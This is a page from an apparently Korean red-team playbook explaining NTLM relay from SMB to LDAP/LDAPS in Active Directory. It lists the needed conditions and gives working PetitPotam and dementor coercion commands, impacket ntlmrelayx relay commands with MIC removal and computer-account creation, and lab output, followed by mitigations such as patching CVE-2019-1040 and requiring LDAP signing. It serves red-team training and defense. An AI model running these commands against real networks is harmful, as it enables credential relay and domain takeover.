📖
레드팀 플레이북
깃허브기여하는 방법WhoAreWe블로그
  • 레드팀 플레이북
  • 레드팀이란
  • 레드팀 글로벌 동향 (2024)
  • 베이직 레드팀(Basic Redteam)
    • 개요
    • 1. 공격자 인프라 구성
    • 2. 초기 침투
    • 3. 정보 수집
    • 4. 권한 상승 - US
    • 5. 횡적 이동: USWKSTN01 -> SQL01
    • 6. 권한 상승 - SQL01
    • 7. 도메인 장악 WEB01
    • 8. US -> RT 장악
    • 9. RT -> DEV 정보 수집
    • 10. 권한 상승 및 목표 달성
  • 🚧인프라 (Infrastructure)
    • 개념
    • 예시 인프라
    • 팀 서버 - Sliver
      • 스테이저 (Stager) 사용
    • 도메인 분류와 신뢰도
    • HTTP 리다이렉터
    • HTTPS 리다이렉터
    • SMTP Gophish + Mail
    • SMTP Gophish + ESP
    • SMTP Gophish + Relay + ESP
    • 인프라 구축 자동화
      • 테라폼 (Terraform)
      • SMTP 테라폼 자동화
      • HTTPS 리다이렉터 자동화 (AWS)
    • old-네뷸라를 이용한 인프라 구축
      • 도메인과 리다이렉터 설정
      • 중립 공간 (클라우드) 설정
      • 네뷸라 (Nebula)
      • 네뷸라 설정
    • 도메인 프론팅 (Domain Fronting)
    • 도메인 프론팅 - Azure Edgio CDN
    • Cloudflared Tunnel과 Worker
    • Cloudflared Tunnel과 Pages
  • 🔎초기 정찰
    • 개념
    • 타겟 발견
    • OSINT
      • 작전보안
      • 자산 정보 수집
      • 구글 도킹
  • ⚔️초기 침투 (Initial Access)
    • 개념
    • 피싱 첨부파일
      • 오피스 VBA 매크로
      • XLM Excel 4.0 매크로
      • 원격 템플렛 인젝션
      • VBA Stomping
      • HTA
      • LNK
      • ISO
      • VBA Purging - TODO
      • DotNetToJS - TODO
      • Follina - TODO
    • HTML 스머글링 (Smuggling)
    • 피싱 - AitM (Adversary in the Middle)
    • Living Off Trusted Sites (LOTS)
  • 🐳정보 수집 - 내부망
    • 개념
    • 로컬 호스트 정보 수집
    • 블러드하운드
    • SMB 쉐어 수집
    • 정보 수집 - 파워쉘
    • 정보 수집 - C# - TODO
    • 커버로스 유저 이름 정보수집
    • CME - 호스트이름과 IP주소
    • LDAP Anonymous Bind
  • 🐴실행 (Execution)
    • 개념
    • 파워쉘
      • 인메모리 실행
      • C# 실행
      • 윈도우 API 실행
    • LOLBAS
    • Native API - TODO
  • 🙃지속성 (Persistence)
    • 개념
    • 골든 티켓 (Golden Ticket)
    • DLL 사이드로딩 (DLL Side-Loading)
    • DLL Search Order Hijacking - TODO
    • 레지스트리 / 스타트업 폴더
  • ⬆️권한 상승
    • 개념
    • AD 권한 상승
      • Active Directory Certificate Services (ADCS)
        • ESC1
        • ESC8
      • Shadow Credentials
      • noPac
      • Kerberoasting
      • AS-REP Roasting
      • DHCPv6 포이즈닝
      • Resource-Based Constrained Delegation (RBCD)
      • SCCM
    • AD-DACL
      • AddAllowedToAct
      • AddKeyCredentialLink
      • GenericAll
      • GenericWrite
      • WriteDACL
      • AllExtendedRights
      • WriteAccountRestrictions
      • WriteOwner
      • AddMember
    • 로컬 권한 상승 - TODO
      • 잘못된 서비스 설정
      • Unquoted Service Path
      • Always Install Elevated
      • PrintNightmare
  • 🐍보안 우회 (Defense Evasion)
    • 쉘코드 암호화
    • 런타임 다이나믹 링킹 (Run-time Dynamic Linking)
    • AMSI 우회
    • 유저랜드 후킹 - 역사
    • 유저랜드 커널랜드 윈도우API 개념
    • 유저랜드 후킹
    • DInvoke - 시스템 콜
    • 페이로드 크기
    • 가변적 C2 프로필
    • 프로세스 인젝션
      • CreateRemoteThread
      • NtMapViewOfSection
    • 간단 디펜더 우회 - 쉘코드
    • 간단 디펜더 우회 - C#
    • MSIExec
    • 다형성 코드
  • 👿후속 공격 (Post Exploitation)
    • 후속 공격의 진화
    • External SID Golden Ticket
  • 🎭계정 정보 탈취 (Credential Access)
    • 커버로스
      • 커버로스팅 (Kerberoasting)
      • AS-Rep Roasting
    • 비밀번호 스프레이 공격
    • LLMNR/NBT-NS 포이즈닝
    • NTLM 릴레이 (NTLM Relay)
      • SMB to SMB
      • SMB to LDAP/S
      • HTTP to LDAP
      • SMB to HTTP
      • SMB to SCCM
    • 강제 인증 (Authentication Coercion)
      • MS-RPRN - Printerbug / Print Spooler
      • MS-EFSRPC - Petitpotam
      • MS-FSRVP - ShadowCoerce
      • MS-DFSNM - DFSCoerce
    • NTLM 다운그레이드
    • DHCPv6 포이즈닝
    • LAPS - TODO
    • DCSync
    • DPAPI
  • ↔️횡적 이동 (Lateral Movement)
    • 개념
    • Pass-the-Hash
    • SMB 와 PsExec
    • WMI
    • WinRM / Powershell Remoting
    • RDP
    • SSH Port Forwarding & Tunneling
    • Dynamic Port Forwarding & ProxyChains
    • 네트워크 피버팅 - 툴
    • Network Pivoting (피벗) - TODO
  • 개념
    • 윈도우 사용자 인증
      • NTLM 인증
      • 커버로스 (Kerberos) 인증 - TODO
      • ADCS 인증서 기반 인증
    • AD 관련 용어 해설
  • 실 공격 TTP와 대응방안 - TODO
    • 개념
  • 🧑‍🔬홈 랩 (Home lab)
    • 시스몬 (sysmon) 설치
    • SIEM과 EDR 솔루션 설치
    • 취약한 랩을 위한 설정 커맨드
    • 말웨어 자동 분석툴 Cuckoo 샌드박스 설치
  • 기본 개념
    • DNS
      • 사이버 보안에 필요한 DNS 개념 편 #1
      • 해킹에 필요한 DNS 공격 & 우회 기법 편 #2
      • 방어에 필요한 DNS 탐지 편 #3
  • 웹 & 모바일
    • 01-계정관리
      • 통신 과정 흐름 훑어보기
      • 첫번쩨, payload설정 방법
      • 두번째, 세션을 유지하는 방법
      • CSRF Token에 관하여
      • 세번째, OWASP Juice Shop 로그인 페이지에서의 통신 흐름과 구조 알아보기
  • 🎅MISC
    • Host-based 공격 CheatSheet (FEAT. OSCP)
      • Enumeration (정보 수집 및 열거)
      • Exploitation (공격)
      • Post Exploitation (후속공격)
    • Changelog
    • 기여하는 방법
    • 레퍼런스와 크레딧
    • C# snippets
    • winapi 리스트
      • original notes from obsidian
    • 파워쉘 원라이너 (oneliner)
  • 📖Personal-Research
    • README-and-Template
      • HellsGate
      • HalosGate
      • FreshyCall
Powered by GitBook
On this page
  • 조건
  • NTLMv2 SMB -> LDAP(S)
  • NTLMv1 SMB -> LDAP(S)
  • 대응 방안
  1. 계정 정보 탈취 (Credential Access)
  2. NTLM 릴레이 (NTLM Relay)

SMB to LDAP/S

강제 인증, LLMNR/NBT-NS 기반의 NTLM 릴레이 공격은 피해자 서버로부터 SMB 인증 트래픽을 받아 타겟 서버의 LDAP 서비스로 릴레이 한다. 이때 공격자는 액티브 디렉토리의 LDAP 정보 덤프, 컴퓨터 계정 추가, Delegation 등을 통한 권한 상승 공격을 진행할 수 있다.

단, SMB to SMB 에 비해 SMB to LDAP(S) 는 필요 조건들이 더 많다. 따라서 webdav, mitm6, 혹은 wpad 릴레이를 통한 HTTP to LDAP(S) 가 더 자주 사용되는 편이다. 그러나 SMB to LDAP(S) 또한 공격에 성공할 경우 도메인 진입 혹은 도메인 장악이 가능하기 때문에 주의가 필요하다.

조건

  • NTLMv2 SMB -> LDAP: 타겟이 CVE-2019-1040에 취약 + LDAP Signing - Enabled/Disabled (Required 면 불가능)

  • NTLMv2 SMB -> LDAPS: 타겟이 CVE-2019-1040에 취약 + EPA Disabled (LDAP Signing 은 enabled/disabled/required 상관 없이 가능)

  • NTLMv1 SMB -> LDAP: LDAP Signing Enabled/Disabled (Required 면 불가능). 타겟이 CVE-2019-1040에 취약하지 않더라도 --remove-MIC 로 MIC 필드 제거 가능.

  • NTLMv1 SMB -> LDAPS: 조건 없음, 가능. 타겟이 CVE-2019-1040에 취약하지 않더라도 --remove-MIC 로 MIC 필드 제거 가능.

NTLMv2 SMB -> LDAP(S)

트리거 - 강제 인증 - Petitpotam

python3 PetitPotam.py -u '' -p '' 192.168.40.132 192.168.40.150

트리거- LLMNR/NBT-NS 포이즈닝

이론상 가능하지만 현재 테스트 랩에서는 불가능하다. 추후 더 연구해봐야겠다.

릴레이 - CVE-2019-1040에 취약할 경우

impacket-ntlmrelayx -t ldap://192.168.40.160 -smb2support --add-computer --no-dump --no-da --no-acl --no-validate-privs --remove-mic

[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.40.150, attacking target ldap://192.168.40.160
[*] Authenticating against ldap://192.168.40.160 as CHOI/DC01$ SUCCEED
[*] Adding new computer with username: UAZZYGGM$ and password: lEE_wdrh2JD7T!M result: OK

NTLMv1 SMB -> LDAP(S)

트리거 - 강제 인증 - Print Spooler

python3 dementor.py -u low -p 'Password123!' -d choi.local 192.168.40.132 192.168.40.150

트리거 - LLMNR/NBT-NS 포이즈닝

이론상 가능하지만 현재 테스트 랩에서는 불가능하다. 추후 더 연구해봐야겠다.

릴레이

./ntlmrelayx.py -t ldap://192.168.40.160 -smb2support --no-dump --no-da --no-acl --no-validate-privs --remove-mic

[*] SMBD-Thread-5 (process_request_thread): Received connection from 192.168.40.150, attacking target ldap://192.168.40.160
[*] Authenticating against ldap://192.168.40.160 as / SUCCEED

대응 방안

  1. NTLMv2 - CVE-2019-1040 관련된 패치를 진행한다. 이는 도메인 컨트롤러들의 기본적인 윈도우 패치만 실행하더라도 패치되는 취약점이다.

  2. NTLMv2 - LDAP Signing 을 Required 로 설정한다. GPO 를 이용하는 것이 좋다.

(Default Domain Controller Policy 혹은 GPO) > Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options > Domain controller: LDAP server signing requirement - REQUIRED 로 설정

PreviousSMB to SMBNextHTTP to LDAP

Last updated 2 years ago

🎭